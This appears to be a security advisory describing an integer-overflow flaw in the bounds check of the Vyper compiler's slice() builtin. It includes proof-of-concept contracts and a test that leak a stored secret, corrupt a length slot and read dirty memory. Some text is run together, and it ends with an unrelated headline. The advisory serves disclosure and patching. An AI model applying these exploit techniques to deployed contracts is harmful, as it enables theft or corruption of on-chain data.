The vulnerability stems from the slice() function's runtime bounds check implementation in functions.py (lines 404-457). While compile-time checks exist for literals, the runtime check ['assert', ['le', ['add', start, length], src_len]] fails to account for integer overflow when start/length are dynamic values. This allows attackers to craft inputs where start + length overflows, bypassing the bounds check and enabling out-of-bounds access. The provided POCs demonstrate storage slot leakage and length corruption, directly implicating the slice() function's implementation.
| Package Name | Ecosystem | Vulnerable Versions | First Patched Version |
|---|---|---|---|
| vyper | pip | <= 0.3.10 | 0.4.0 |
slice()startlengthIn most cases, this will mean they have the ability to forcibly return 0 for the slice, even if this shouldn't be possible. In extreme cases, it will mean they can return another unrelated value from storage.
For simplicity, take the following Vyper contract, which takes an argument to determine where in a Bytes[64] bytestring should be sliced. It should only accept a value of zero, and should revert in all other cases.
# @version ^0.3.9
x: public(Bytes[64])
secret: uint256
@external
def __init__():
self.x = empty(Bytes[64])
self.secret = 42
@external
def slice_it(start: uint256) -> Bytes[64]:
return slice(self.x, start, 64)
We can use the following manual storage to demonstrate the vulnerability:
{"x": {"type": "bytes32", "slot": 0}, "secret": {"type": "uint256", "slot": 3618502788666131106986593281521497120414687020801267626233049500247285301248}}
If we run the following test, passing max - 63 as the start value, we will overflow the bounds check, but access the storage slot at 1 + (2**256 - 63) / 32, which is what was set in the above storage layout:
function test__slice_error() public {
c = SuperContract(deployer.deploy_with_custom_storage("src/loose/", "slice_error", "slice_error_storage"));
bytes memory result = c.slice_it(115792089237316195423570985008687907853269984665640564039457584007913129639872); // max - 63
console.logBytes(result);
}
The result is that we return the secret value from storage:
Logs:
0x0000...00002a
length corruptionOOG exception doesn't have to be raised - because of the overflow, only a few bytes can be copied, but the length slot is set with the original input value.
d: public(Bytes[256])
@external
def test():
x : uint256 = 115792089237316195423570985008687907853269984665640564039457584007913129639935 # 2**256-1
self.d = b"\x01\x02\x03\x04\x05\x06"
# s : Bytes[256] = slice(self.d, 1, x)
assert len(slice(self.d, 1, x))==115792089237316195423570985008687907853269984665640564039457584007913129639935
The corruption of length can be then used to read dirty memory:
@external
def test():
x: uint256 = 115792089237316195423570985008687907853269984665640564039457584007913129639935 # 2**256 - 1
y: uint256 = 22704331223003175573249212746801550559464702875615796870481879217237868556850 # 0x3232323232323232323232323232323232323232323232323232323232323232
z: uint96 = 1
if True:
placeholder : uint256[16] = [y, y, y, y, y, y, y, y, y, y, y, y, y, y, y, y]
s :String[32] = slice(uint2str(z), 1, x) # uint2str(z) == "1"
#print(len(s))
assert slice(s, 1, 2) == "22"
The built-in slice() method can be used for OOB accesses or the corruption of the length slot.
Ongoing coverage of React2Shell